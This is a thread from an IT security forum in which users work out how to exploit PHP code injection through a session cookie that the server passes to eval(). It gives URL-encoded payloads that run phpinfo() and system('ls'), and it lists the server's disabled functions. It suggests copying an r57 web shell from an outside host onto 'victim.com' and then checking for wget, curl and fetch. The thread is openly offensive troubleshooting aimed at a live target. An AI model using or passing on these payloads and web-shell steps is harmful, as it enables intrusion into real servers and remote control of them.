Waraxe IT Security Portal

julioisaias · Valuable expert

I need help for this problem.

PHP Execution in cookie
----------------------------

1. Original Cookie:

PHPSESSID=e2123291ddada51f7702819e2604e38b

Result: Normal Page......OK Very Happy

2. Malicious command in Cookie:

PHPSESSID='%3Bphpinfo%28%29%3Bexit%3B// <--- ';phpinfo();exit;// (encoded)

Result: PHP CONFIGURATION PAGE......OK Very Happy

3. Other malicious command in cookie:

PHPSESSID='%3Bsystem%28%27ls%27%29%3Bexit%3B// <--- ';system("ls");exit;// (encoded)

Result: Warning: system() has been disabled for security reasons in /home/web/www/config/config.php(241) : eval()'d code on line 1 Sad

Some another way?

Best Regards.

pexli · Valuable expert

Look in phpinfo.
Safe Mode is ON?
mod_security is installed?
disabled functions?

julioisaias · Valuable expert

Thanks Koko.

safe_mode = Off

register_globals=Off

allow_url_fopen=On

allow_url_include=On

Disable functions= dl, exec, passthru, popen, proc_open, proc_close, shell_exec, system, posix_getgrgid, posix_getgrnam, posix_getpwname, posix_getpwuid, posix_kill, syslog,

file_uploads=On

magic_quotes_gpc=Off

magic_quotes_runtime=Off

magic_quotes_sybase=Off

Is it a possible SQL Injection?

Best Regards.

pexli · Valuable expert

If you have r57 web shell upload in some where.Next

@copy('http://yoursite.com/r57.txt','/full/path/to/victim.com/shell.php');

In r57 use eval() function to read files.

julioisaias · Valuable expert

Thank you for your help, but I believe that I had bad luck.

Warning: copy(/home/web/www/shell.php) [function.copy]: failed to open stream: Permission denied in /home/web/www/config/config.php(241) : eval()'d code on line 1

Permission denied.... Confused

Can it be possible?

Best Regards.

pexli · Valuable expert

OK.
run command which wget curl fetch